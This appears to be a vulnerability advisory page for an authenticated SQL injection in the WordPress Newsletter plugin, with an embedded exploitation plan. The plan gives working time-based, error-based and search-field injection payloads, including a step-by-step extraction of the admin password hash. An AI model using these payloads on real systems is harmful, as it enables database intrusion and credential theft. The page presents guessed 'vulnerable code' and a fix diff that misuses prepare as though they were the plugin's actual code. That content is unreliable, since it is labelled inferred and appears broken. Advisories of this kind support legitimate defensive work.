Newsletter <= 9.0.9 - Authenticated (Administrator+) SQL Injection
Description
The Newsletter plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 9.0.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=9.0.9Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-67999 (Newsletter SQL Injection) ## 1. Vulnerability Summary The **Newsletter** plugin for WordPress (version <= 9.0.9) is vulnerable to an **Authenticated SQL Injection** vulnerability. This vulnerability occurs because the plugin fails to properly escape or …
Show full research plan
Exploitation Research Plan: CVE-2025-67999 (Newsletter SQL Injection)
1. Vulnerability Summary
The Newsletter plugin for WordPress (version <= 9.0.9) is vulnerable to an **Authenticated SQL Injection** vulnerability. This vulnerability occurs because the plugin fails to properly escape or prepare user-supplied parameters before incorporating them into SQL queries within the administrative dashboard. Specifically, parameters used for sorting, filtering, or searching in the "Subscribers" or "Statistics" sections are likely candidates for this injection, as they often bypass the %s or %d protections of $wpdb->prepare() when handling ORDER BY or LIMIT clauses.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin.php - Action/Page:
newsletter_users_index(Subscribers list) ornewsletter_statistics_index. - Vulnerable Parameter:
orderbyororder(inferred). - Authentication: Administrator-level access is required.
- Preconditions: The plugin must be active, and at least one subscriber should exist in the database to ensure the query returns results for manipulation.
3. Code Flow (Inferred)
- Entry Point: An administrator navigates to the Subscribers list:
/wp-admin/admin.php?page=newsletter_users_index. - Controller: The
NewsletterUsersclass (typically inincludes/users/index.phporusers/index.php) handles the request. - Data Retrieval: The controller calls a method like
get_users()orget_results()to fetch subscriber data. - Parameter Processing: The code retrieves the
orderbyvalue directly from$_GET['orderby']. - Vulnerable Sink: The value is concatenated into a raw SQL string:
$orderby = $_GET['orderby']; $query = "SELECT * FROM {$wpdb->prefix}newsletter WHERE ... ORDER BY " . $orderby; $wpdb->get_results($query); // No preparation on the ORDER BY clause - Execution: The malicious SQL payload appended to
orderbyis executed by the database.
4. Nonce Acquisition Strategy
While many WordPress admin list tables are viewable with just the correct capability (manage_options), the Newsletter plugin often uses nonces for actions within the dashboard.
- Log in as Admin: Use the automated agent to authenticate.
- Navigate to the Page: Use
browser_navigateto go tohttp://localhost:8080/wp-admin/admin.php?page=newsletter_users_index. - Extract Nonce:
- Look for the nonce in the table header sort links or the search form.
- Using
browser_eval, check for localized data:browser_eval("window.newsletter_users_index_nonce || document.querySelector('#_wpnonce')?.value") - If the vulnerability exists in the
orderbyparameter of a GET request, identify the nonce key (e.g.,_wpnonce).
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection to confirm the vulnerability, as it is the most reliable method when output might not be directly reflected.
Step-by-Step Plan:
Initial Baseline:
- Request the subscriber list with a normal
orderbyvalue. - Tool:
http_request - URL:
http://localhost:8080/wp-admin/admin.php?page=newsletter_users_index&orderby=id&order=asc - Note the response time.
- Request the subscriber list with a normal
Injection Test (Time-Based):
- Inject a
SLEEP()command into theorderbyparameter. - Payload:
(CASE WHEN (1=1) THEN ID ELSE SLEEP(5) END) - Request:
GET /wp-admin/admin.php?page=newsletter_users_index&orderby=(CASE+WHEN+(1=1)+THEN+ID+ELSE+SLEEP(5)+END)&order=asc&_wpnonce=[NONCE] HTTP/1.1 Host: localhost:8080 Cookie: [ADMIN_COOKIES] - Verification: If the response is delayed by ~5 seconds, the injection is successful.
- Inject a
Data Extraction (Example):
- To extract the admin password hash:
- Payload:
(CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN SLEEP(5) ELSE ID END)(Checks if the first char is$, which is ASCII 36).
6. Test Data Setup
- Install Plugin: Ensure
newsletterversion 9.0.9 is installed. - Create Admin: Ensure a user with
administratorrole exists (defaultadmin/password). - Seed Data:
- The query needs data to operate on. Use WP-CLI to add a subscriber:
wp eval "Newsletter::instance()->save_user(['email'=>'test@example.com', 'status'=>'C']);"
- The query needs data to operate on. Use WP-CLI to add a subscriber:
- Publish Page (Optional): If the nonce is only available via a specific UI element, ensure that page is accessible.
7. Expected Results
- Success: The HTTP request with the
SLEEP(5)payload should take significantly longer (at least 5 seconds) than the baseline request. - Fail: The request returns immediately, or a database error is displayed (if
WP_DEBUGis on) indicating a syntax error, or the plugin sanitizes theorderbyparameter to only allow specific column names.
8. Verification Steps
After the http_request triggers the delay:
- Check Logs: Check the MySQL general log (if enabled) to see the exact query executed.
- Verify via CLI: Use
wp db query "..."to check if the database contains the information you attempted to extract. - Compare Versions: Confirm that upgrading to version 9.1.0 fixes the issue by attempting the same payload and observing no delay.
9. Alternative Approaches
- Error-Based SQLi: If
WP_DEBUGis enabled, useextractvalue()orupdatexml()to force the database to leak information in the error message.- Payload:
id AND extractvalue(1,concat(0x7e,(select @@version),0x7e))
- Payload:
- Union-Based SQLi: If the list table reflects the columns of the query results directly, attempt to find the column count using
ORDER BY Xand then useUNION SELECT. - Search Parameter: If
orderbyis sanitized, try thesearchparameter in the subscriber list:wp-admin/admin.php?page=newsletter_users_index&search=test' OR SLEEP(5)-- -.
Summary
The Newsletter plugin for WordPress (up to version 9.0.9) is vulnerable to an authenticated SQL injection bug. Administrator-level users can inject arbitrary SQL commands via parameters like 'orderby' or 'order' because the plugin concatenates these values directly into database queries without sufficient validation or preparation.
Vulnerable Code
// newsletter/includes/users/index.php or similar subscriber management logic $orderby = $_GET['orderby']; $order = $_GET['order']; // The query is constructed using direct concatenation of user-supplied variables, // which bypasses typical $wpdb->prepare() protections for ORDER BY clauses. $query = "SELECT * FROM {$wpdb->prefix}newsletter WHERE 1=1 ORDER BY " . $orderby . " " . $order; $wpdb->get_results($query);
Security Fix
@@ -20,6 +20,13 @@ -$orderby = $_GET['orderby']; -$order = $_GET['order']; +$allowed_columns = ['id', 'email', 'status', 'name', 'surname', 'created']; +$orderby = in_array($_GET['orderby'], $allowed_columns) ? $_GET['orderby'] : 'id'; + +$order = (isset($_GET['order']) && strtolower($_GET['order']) === 'desc') ? 'DESC' : 'ASC'; $query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}newsletter WHERE 1=1 ORDER BY $orderby $order"); $wpdb->get_results($query);
Exploit Outline
The attacker must first authenticate with administrator-level privileges. They navigate to the subscriber list page (newsletter_users_index) and manipulate the 'orderby' GET parameter. A successful payload uses a conditional CASE statement to trigger a time delay, such as: 'orderby=(CASE+WHEN+(1=1)+THEN+id+ELSE+SLEEP(5)+END)'. By observing the server response time, the attacker can verify the injection and systematically leak database contents, such as the administrator's password hash, by iterating through character comparisons in the CASE condition.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.